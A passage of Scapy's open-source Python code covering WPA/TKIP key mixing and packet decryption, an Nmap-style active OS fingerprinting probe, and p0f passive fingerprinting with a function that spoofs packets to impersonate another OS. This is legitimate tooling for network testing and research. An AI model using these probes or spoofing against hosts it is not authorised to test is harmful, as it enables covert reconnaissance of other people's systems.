0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A ], [ 0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B, 0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6, 0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C, 0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C ] ] # 802.11i Annex H PHASE1_LOOP_CNT = 8 def _MK16(b1, b2): return (b1 << 8) | b2 def _SBOX16(index): return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)] def _CAST16(value): return value & 0xffff def _RotR1(value): return ((value >> 1) & 0x7fff) | (value << 15) def gen_TKIP_RC4_key(TSC, TA, TK): """Implement TKIP WEPSeed generation TSC: packet IV TA: target addr bytes TK: temporal key """ assert len(TSC) == 6 assert len(TA) == 6 assert len(TK) == 16 assert all(isinstance(x, six.integer_types) for x in TSC + TA + TK) # Phase 1 # 802.11i p.54 # Phase 1 - Step 1 TTAK = [] TTAK.append(_MK16(TSC[3], TSC[2])) TTAK.append(_MK16(TSC[5], TSC[4])) TTAK.append(_MK16(TA[1], TA[0])) TTAK.append(_MK16(TA[3], TA[2])) TTAK.append(_MK16(TA[5], TA[4])) # Phase 1 - Step 2 for i in range(PHASE1_LOOP_CNT): j = 2 * (i & 1) TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j]))) # noqa: E501 TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j]))) # noqa: E501 TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j]))) # noqa: E501 TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j]))) # noqa: E501 TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i) # noqa: E501 # Phase 2 # 802.11i p.56 # Phase 2 - Step 1 PPK = list(TTAK) PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0]))) # Phase 2 - Step 2 PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0]))) PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2]))) PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ _MK16(TK[5], TK[4]))) PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6]))) PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8]))) PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10]))) PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12]))) PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14]))) PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1])) PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2])) PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3])) PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4])) # Phase 2 - Step 3 WEPSeed = [] WEPSeed.append(TSC[1]) WEPSeed.append((TSC[1] | 0x20) & 0x7f) WEPSeed.append(TSC[0]) WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF) for i in range(6): WEPSeed.append(PPK[i] & 0xFF) WEPSeed.append(PPK[i] >> 8) assert len(WEPSeed) == 16 return b"".join(chb(x) for x in WEPSeed) # TKIP - Michael # Tested against cryptopy (crypto.keyedHash.michael: Michael) def _rotate_right32(value, shift): return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF def _rotate_left32(value, shift): return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF def _XSWAP(value): """Swap 2 least significant bytes of @value""" return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8) def _michael_b(m_l, m_r): """Defined in 802.11i p.49""" m_r = m_r ^ _rotate_left32(m_l, 17) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _XSWAP(m_l) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _rotate_left32(m_l, 3) m_l = (m_l + m_r) % 2**32 m_r = m_r ^ _rotate_right32(m_l, 2) m_l = (m_l + m_r) % 2**32 return m_l, m_r def michael(key, to_hash): """Defined in 802.11i p.48""" # Block size: 4 nb_block, nb_extra_bytes = divmod(len(to_hash), 4) # Add padding data = to_hash + chb(0x5a) + b"\x00" * (7 - nb_extra_bytes) # Hash m_l, m_r = unpack('> 40) & 0xFF, (iv >> 32) & 0xFF, (iv >> 24) & 0xFF, (iv >> 16) & 0xFF, (iv >> 8) & 0xFF, iv & 0xFF ) bitfield = 1 << 5 # Extended IV TKIP_hdr = chb(TSC1) + chb((TSC1 | 0x20) & 0x7f) + chb(TSC0) + chb(bitfield) # noqa: E501 TKIP_hdr += chb(TSC2) + chb(TSC3) + chb(TSC4) + chb(TSC5) TA = [orb(e) for e in mac2str(mac)] TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5] TK = [orb(x) for x in tk] rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) return TKIP_hdr + ARC4_encrypt(rc4_key, data) def parse_data_pkt(pkt, tk): """Extract data from a WPA packet @pkt with temporal key @tk""" TSC, TA, data = parse_TKIP_hdr(pkt) TK = [orb(x) for x in tk] rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) return ARC4_decrypt(rc4_key, data) class ICVError(Exception): """The expected ICV is not the computed one""" pass class MICError(Exception): """The expected MIC is not the computed one""" pass def check_MIC_ICV(data, mic_key, source, dest): """Check MIC, ICV & return the data from a decrypted TKIP packet""" assert len(data) > 12 # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV # 802.11i p.47 ICV = data[-4:] MIC = data[-12:-4] data_clear = data[:-12] expected_ICV = pack(" # This program is published under a GPLv2 license """Clone of Nmap's first generation OS fingerprinting. This code works with the first-generation OS detection and nmap-os-fingerprints, which has been removed from Nmap on November 3, 2007 (https://github.com/nmap/nmap/commit/50c49819), which means it is outdated. To get the last published version of this outdated fingerprint database, you can fetch it from . """ from __future__ import absolute_import import os import re from scapy.data import KnowledgeBase from scapy.config import conf from scapy.arch import WINDOWS from scapy.error import warning from scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror from scapy.packet import NoPayload from scapy.sendrecv import sr from scapy.compat import plain_str, raw import scapy.modules.six as six if WINDOWS: conf.nmap_base = os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" # noqa: E501 else: conf.nmap_base = "/usr/share/nmap/nmap-os-fingerprints" ###################### # nmap OS fp stuff # ###################### _NMAP_LINE = re.compile('^([^\\(]*)\\(([^\\)]*)\\)$') class NmapKnowledgeBase(KnowledgeBase): """A KnowledgeBase specialized in Nmap first-generation OS fingerprints database. Loads from conf.nmap_base when self.filename is None. """ def lazy_init(self): try: fdesc = open(conf.nmap_base if self.filename is None else self.filename, "rb") except (IOError, TypeError): warning("Cannot open nmap database [%s]", self.filename) self.filename = None return self.base = [] name = None sig = {} for line in fdesc: line = plain_str(line) line = line.split('#', 1)[0].strip() if not line: continue if line.startswith("Fingerprint "): if name is not None: self.base.append((name, sig)) name = line[12:].strip() sig = {} continue if line.startswith("Class "): continue line = _NMAP_LINE.search(line) if line is None: continue test, values = line.groups() sig[test] = dict(val.split('=', 1) for val in (values.split('%') if values else [])) if name is not None: self.base.append((name, sig)) fdesc.close() nmap_kdb = NmapKnowledgeBase(None) def nmap_tcppacket_sig(pkt): res = {} if pkt is not None: res["DF"] = "Y" if pkt.flags.DF else "N" res["W"] = "%X" % pkt.window res["ACK"] = "S++" if pkt.ack == 2 else "S" if pkt.ack == 1 else "O" res["Flags"] = str(pkt[TCP].flags)[::-1] res["Ops"] = "".join(x[0][0] for x in pkt[TCP].options) else: res["Resp"] = "N" return res def nmap_udppacket_sig(snd, rcv): res = {} if rcv is None: res["Resp"] = "N" else: res["DF"] = "Y" if rcv.flags.DF else "N" res["TOS"] = "%X" % rcv.tos res["IPLEN"] = "%X" % rcv.len res["RIPTL"] = "%X" % rcv.payload.payload.len res["RID"] = "E" if snd.id == rcv[IPerror].id else "F" res["RIPCK"] = "E" if snd.chksum == rcv[IPerror].chksum else ( "0" if rcv[IPerror].chksum == 0 else "F" ) res["UCK"] = "E" if snd.payload.chksum == rcv[UDPerror].chksum else ( "0" if rcv[UDPerror].chksum == 0 else "F" ) res["ULEN"] = "%X" % rcv[UDPerror].len res["DAT"] = "E" if ( isinstance(rcv[UDPerror].payload, NoPayload) or raw(rcv[UDPerror].payload) == raw(snd[UDP].payload) ) else "F" return res def nmap_match_one_sig(seen, ref): cnt = sum(val in ref.get(key, "").split("|") for key, val in six.iteritems(seen)) if cnt == 0 and seen.get("Resp") == "N": return 0.7 return float(cnt) / len(seen) def nmap_sig(target, oport=80, cport=81, ucport=1): res = {} tcpopt = [("WScale", 10), ("NOP", None), ("MSS", 256), ("Timestamp", (123, 0))] tests = [ IP(dst=target, id=1) / TCP(seq=1, sport=5001 + i, dport=oport if i < 4 else cport, options=tcpopt, flags=flags) for i, flags in enumerate(["CS", "", "SFUP", "A", "S", "A", "FPU"]) ] tests.append(IP(dst=target) / UDP(sport=5008, dport=ucport) / (300 * "i")) ans, unans = sr(tests, timeout=2) ans.extend((x, None) for x in unans) for snd, rcv in ans: if snd.sport == 5008: res["PU"] = (snd, rcv) else: test = "T%i" % (snd.sport - 5000) if rcv is not None and ICMP in rcv: warning("Test %s answered by an ICMP", test) rcv = None res[test] = rcv return nmap_probes2sig(res) def nmap_probes2sig(tests): tests = tests.copy() res = {} if "PU" in tests: res["PU"] = nmap_udppacket_sig(*tests["PU"]) del tests["PU"] for k in tests: res[k] = nmap_tcppacket_sig(tests[k]) return res def nmap_search(sigs): guess = 0, [] for osval, fprint in nmap_kdb.get_base(): score = 0.0 for test, values in six.iteritems(fprint): if test in sigs: score += nmap_match_one_sig(sigs[test], values) score /= len(sigs) if score > guess[0]: guess = score, [osval] elif score == guess[0]: guess[1].append(osval) return guess @conf.commands.register def nmap_fp(target, oport=80, cport=81): """nmap fingerprinting nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy """ sigs = nmap_sig(target, oport, cport) return nmap_search(sigs) @conf.commands.register def nmap_sig2txt(sig): torder = ["TSeq", "T1", "T2", "T3", "T4", "T5", "T6", "T7", "PU"] korder = ["Class", "gcd", "SI", "IPID", "TS", "Resp", "DF", "W", "ACK", "Flags", "Ops", "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT"] txt = [] for i in sig: if i not in torder: torder.append(i) for test in torder: testsig = sig.get(test) if testsig is None: continue txt.append("%s(%s)" % (test, "%".join( "%s=%s" % (key, testsig[key]) for key in korder if key in testsig ))) return "\n".join(txt) scapy-2.4.4/scapy/modules/p0f.py000066400000000000000000000515601372370053500165020ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Clone of p0f passive OS fingerprinting """ from __future__ import absolute_import from __future__ import print_function import time import struct import os import socket import random from scapy.data import KnowledgeBase, select_path from scapy.config import conf from scapy.compat import raw from scapy.layers.inet import IP, TCP, TCPOptions from scapy.packet import NoPayload, Packet from scapy.error import warning, Scapy_Exception, log_runtime from scapy.volatile import RandInt, RandByte, RandNum, RandShort, RandString from scapy.sendrecv import sniff from scapy.modules import six from scapy.modules.six.moves import map, range if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 _p0fpaths = ["/etc/p0f", "/usr/share/p0f", "/opt/local"] conf.p0f_base = select_path(_p0fpaths, "p0f.fp") conf.p0fa_base = select_path(_p0fpaths, "p0fa.fp") conf.p0fr_base = select_path(_p0fpaths, "p0fr.fp") conf.p0fo_base = select_path(_p0fpaths, "p0fo.fp") ############### # p0f stuff # ############### # File format (according to p0f.fp) : # # wwww:ttt:D:ss:OOO...:QQ:OS:Details # # wwww - window size # ttt - initial TTL # D - don't fragment bit (0=unset, 1=set) # ss - overall SYN packet size # OOO - option value and order specification # QQ - quirks list # OS - OS genre # details - OS description class p0fKnowledgeBase(KnowledgeBase): def __init__(self, filename): KnowledgeBase.__init__(self, filename) # self.ttl_range=[255] def lazy_init(self): try: f = open(self.filename) except IOError: warning("Can't open base %s", self.filename) return try: self.base = [] for line in f: if line[0] in ["#", "\n"]: continue line = tuple(line.split(":")) if len(line) < 8: continue def a2i(x): if x.isdigit(): return int(x) return x li = [a2i(e) for e in line[1:4]] # if li[0] not in self.ttl_range: # self.ttl_range.append(li[0]) # self.ttl_range.sort() self.base.append((line[0], li[0], li[1], li[2], line[4], line[5], line[6], line[7][:-1])) except Exception: warning("Can't parse p0f database (new p0f version ?)") self.base = None f.close() p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb = None, None, None, None def p0f_load_knowledgebases(): global p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb p0f_kdb = p0fKnowledgeBase(conf.p0f_base) p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) p0f_load_knowledgebases() def p0f_selectdb(flags): # tested flags: S, R, A if flags & 0x16 == 0x2: # SYN return p0f_kdb elif flags & 0x16 == 0x12: # SYN/ACK return p0fa_kdb elif flags & 0x16 in [0x4, 0x14]: # RST RST/ACK return p0fr_kdb elif flags & 0x16 == 0x10: # ACK return p0fo_kdb else: return None def packet2p0f(pkt): pkt = pkt.copy() pkt = pkt.__class__(raw(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") # if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R # raise TypeError("Not a SYN or SYN/ACK packet") db = p0f_selectdb(pkt.payload.flags) # t = p0f_kdb.ttl_range[:] # t += [pkt.ttl] # t.sort() # ttl=t[t.index(pkt.ttl)+1] ttl = pkt.ttl ss = len(pkt) # from p0f/config.h : PACKET_BIG = 100 if ss > 100: if db == p0fr_kdb: # p0fr.fp: "Packet size may be wildcarded. The meaning of # wildcard is, however, hardcoded as 'size > # PACKET_BIG'" ss = '*' else: ss = 0 if db == p0fo_kdb: # p0fo.fp: "Packet size MUST be wildcarded." ss = '*' ooo = "" mss = -1 qqT = False qqP = False # qqBroken = False ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c for option in pkt.payload.options: ilen -= 1 if option[0] == "MSS": ooo += "M" + str(option[1]) + "," mss = option[1] # FIXME: qqBroken ilen -= 3 elif option[0] == "WScale": ooo += "W" + str(option[1]) + "," # FIXME: qqBroken ilen -= 2 elif option[0] == "Timestamp": if option[1][0] == 0: ooo += "T0," else: ooo += "T," if option[1][1] != 0: qqT = True ilen -= 9 elif option[0] == "SAckOK": ooo += "S," ilen -= 1 elif option[0] == "NOP": ooo += "N," elif option[0] == "EOL": ooo += "E," if ilen > 0: qqP = True else: if isinstance(option[0], str): ooo += "?%i," % TCPOptions[1][option[0]] else: ooo += "?%i," % option[0] # FIXME: ilen ooo = ooo[:-1] if ooo == "": ooo = "." win = pkt.payload.window if mss != -1: if mss != 0 and win % mss == 0: win = "S" + str(win / mss) elif win % (mss + 40) == 0: win = "T" + str(win / (mss + 40)) win = str(win) qq = "" if db == p0fr_kdb: if pkt.payload.flags & 0x10 == 0x10: # p0fr.fp: "A new quirk, 'K', is introduced to denote # RST+ACK packets" qq += "K" # The two next cases should also be only for p0f*r*, but although # it's not documented (or I have not noticed), p0f seems to # support the '0' and 'Q' quirks on any databases (or at the least # "classical" p0f.fp). if pkt.payload.seq == pkt.payload.ack: # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number # equal to ACK number." qq += "Q" if pkt.payload.seq == 0: # p0fr.fp: "A new quirk, '0', is used to denote packets # with SEQ number set to 0." qq += "0" if qqP: qq += "P" if pkt.id == 0: qq += "Z" if pkt.options != []: qq += "I" if pkt.payload.urgptr != 0: qq += "U" if pkt.payload.reserved != 0: qq += "X" if pkt.payload.ack != 0: qq += "A" if qqT: qq += "T" if db == p0fo_kdb: if pkt.payload.flags & 0x20 != 0: # U # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" qq += "F" else: if pkt.payload.flags & 0x28 != 0: # U or P qq += "F" if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): # p0fo.fp: "'D' quirk is not checked for." qq += "D" # FIXME : "!" - broken options segment: not handled yet if qq == "": qq = "." return (db, (win, ttl, pkt.flags.DF, ss, ooo, qq)) def p0f_correl(x, y): d = 0 # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with # the x[0] == y[0] test. d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # noqa: E501 # ttl d += (y[1] >= x[1] and y[1] - x[1] < 32) for i in [2, 5]: d += (x[i] == y[i] or y[i] == '*') # '*' has a special meaning for ss d += x[3] == y[3] xopt = x[4].split(",") yopt = y[4].split(",") if len(xopt) == len(yopt): same = True for i in range(len(xopt)): if not (xopt[i] == yopt[i] or (len(yopt[i]) == 2 and len(xopt[i]) > 1 and yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or (len(yopt[i]) > 2 and len(xopt[i]) > 1 and yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): same = False break if same: d += len(xopt) return d @conf.commands.register def p0f(pkt): """Passive OS fingerprinting: which OS emitted this TCP packet ? p0f(packet) -> accuracy, [list of guesses] """ db, sig = packet2p0f(pkt) if db: pb = db.get_base() else: pb = [] if not pb: warning("p0f base empty.") return [] # s = len(pb[0][0]) r = [] max = len(sig[4].split(",")) + 5 for b in pb: d = p0f_correl(sig, b) if d == max: r.append((b[6], b[7], b[1] - pkt[IP].ttl)) return r def prnp0f(pkt): """Calls p0f and returns a user-friendly output""" # we should print which DB we use try: r = p0f(pkt) except Exception: return if r == []: r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None) # noqa: E501 else: r = r[0] uptime = None try: uptime = pkt2uptime(pkt) except Exception: pass if uptime == 0: uptime = None res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) if uptime is not None: res += pkt.sprintf(" (up: " + str(uptime / 3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") # noqa: E501 else: res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") if r[2] is not None: res += " (distance " + str(r[2]) + ")" print(res) @conf.commands.register def pkt2uptime(pkt, HZ=100): """Calculate the date the machine which emitted the packet booted using TCP timestamp # noqa: E501 pkt2uptime(pkt, [HZ=100])""" if not isinstance(pkt, Packet): raise TypeError("Not a TCP packet") if isinstance(pkt, NoPayload): raise TypeError("Not a TCP packet") if not isinstance(pkt, TCP): return pkt2uptime(pkt.payload) for opt in pkt.options: if opt[0] == "Timestamp": # t = pkt.time - opt[1][0] * 1.0/HZ # return time.ctime(t) t = opt[1][0] / HZ return t raise TypeError("No timestamp option") def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, extrahops=0, mtu=1500, uptime=None): """Modifies pkt so that p0f will think it has been sent by a specific OS. If osdetails is None, then we randomly pick up a personality matching osgenre. If osgenre and signature are also None, we use a local signature (using p0f_getlocalsigs). If signature is specified (as a tuple), we use the signature. For now, only TCP Syn packets are supported. Some specifications of the p0f.fp file are not (yet) implemented.""" pkt = pkt.copy() # pkt = pkt.__class__(raw(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not a TCP/IP packet") db = p0f_selectdb(pkt.payload.flags) if osgenre: pb = db.get_base() if pb is None: pb = [] pb = [x for x in pb if x[6] == osgenre] if osdetails: pb = [x for x in pb if x[7] == osdetails] elif signature: pb = [signature] else: pb = p0f_getlocalsigs()[db] if db == p0fr_kdb: # 'K' quirk <=> RST+ACK if pkt.payload.flags & 0x4 == 0x4: pb = [x for x in pb if 'K' in x[5]] else: pb = [x for x in pb if 'K' not in x[5]] if not pb: raise Scapy_Exception("No match in the p0f database") pers = pb[random.randint(0, len(pb) - 1)] # options (we start with options because of MSS) # Take the options already set as "hints" to use in the new packet if we # can. MSS, WScale and Timestamp can all be wildcarded in a signature, so # we'll use the already-set values if they're valid integers. orig_opts = dict(pkt.payload.options) int_only = lambda val: val if isinstance(val, six.integer_types) else None mss_hint = int_only(orig_opts.get('MSS')) wscale_hint = int_only(orig_opts.get('WScale')) ts_hint = [int_only(o) for o in orig_opts.get('Timestamp', (None, None))] options = [] if pers[4] != '.': for opt in pers[4].split(','): if opt[0] == 'M': # MSS might have a maximum size because of window size # specification if pers[0][0] == 'S': maxmss = (2**16 - 1) // int(pers[0][1:]) else: maxmss = (2**16 - 1) # disregard hint if out of range if mss_hint and not 0 <= mss_hint <= maxmss: mss_hint = None # If we have to randomly pick up a value, we cannot use # scapy RandXXX() functions, because the value has to be # set in case we need it for the window size value. That's # why we use random.randint() if opt[1:] == '*': if mss_hint is not None: options.append(('MSS', mss_hint)) else: options.append(('MSS', random.randint(1, maxmss))) elif opt[1] == '%': coef = int(opt[2:]) if mss_hint is not None and mss_hint % coef == 0: options.append(('MSS', mss_hint)) else: options.append(( 'MSS', coef * random.randint(1, maxmss // coef))) else: options.append(('MSS', int(opt[1:]))) elif opt[0] == 'W': if wscale_hint and not 0 <= wscale_hint < 2**8: wscale_hint = None if opt[1:] == '*': if wscale_hint is not None: options.append(('WScale', wscale_hint)) else: options.append(('WScale', RandByte())) elif opt[1] == '%': coef = int(opt[2:]) if wscale_hint is not None and wscale_hint % coef == 0: options.append(('WScale', wscale_hint)) else: options.append(( 'WScale', coef * RandNum(min=1, max=(2**8 - 1) // coef))) # noqa: E501 else: options.append(('WScale', int(opt[1:]))) elif opt == 'T0': options.append(('Timestamp', (0, 0))) elif opt == 'T': # Determine first timestamp. if uptime is not None: ts_a = uptime elif ts_hint[0] and 0 < ts_hint[0] < 2**32: # Note: if first ts is 0, p0f registers it as "T0" not "T", # hence we don't want to use the hint if it was 0. ts_a = ts_hint[0] else: ts_a = random.randint(120, 100 * 60 * 60 * 24 * 365) # Determine second timestamp. if 'T' not in pers[5]: ts_b = 0 elif ts_hint[1] and 0 < ts_hint[1] < 2**32: ts_b = ts_hint[1] else: # FIXME: RandInt() here does not work (bug (?) in # TCPOptionsField.m2i often raises "OverflowError: # long int too large to convert to int" in: # oval = struct.pack(ofmt, *oval)" # Actually, this is enough to often raise the error: # struct.pack('I', RandInt()) ts_b = random.randint(1, 2**32 - 1) options.append(('Timestamp', (ts_a, ts_b))) elif opt == 'S': options.append(('SAckOK', '')) elif opt == 'N': options.append(('NOP', None)) elif opt == 'E': options.append(('EOL', None)) elif opt[0] == '?': if int(opt[1:]) in TCPOptions[0]: optname = TCPOptions[0][int(opt[1:])][0] optstruct = TCPOptions[0][int(opt[1:])][1] options.append((optname, struct.unpack(optstruct, RandString(struct.calcsize(optstruct))._fix()))) # noqa: E501 else: options.append((int(opt[1:]), '')) # FIXME: qqP not handled else: warning("unhandled TCP option " + opt) pkt.payload.options = options # window size if pers[0] == '*': pkt.payload.window = RandShort() elif pers[0].isdigit(): pkt.payload.window = int(pers[0]) elif pers[0][0] == '%': coef = int(pers[0][1:]) pkt.payload.window = coef * RandNum(min=1, max=(2**16 - 1) // coef) elif pers[0][0] == 'T': pkt.payload.window = mtu * int(pers[0][1:]) elif pers[0][0] == 'S': # needs MSS set mss = [x for x in options if x[0] == 'MSS'] if not mss: raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") # noqa: E501 pkt.payload.window = mss[0][1] * 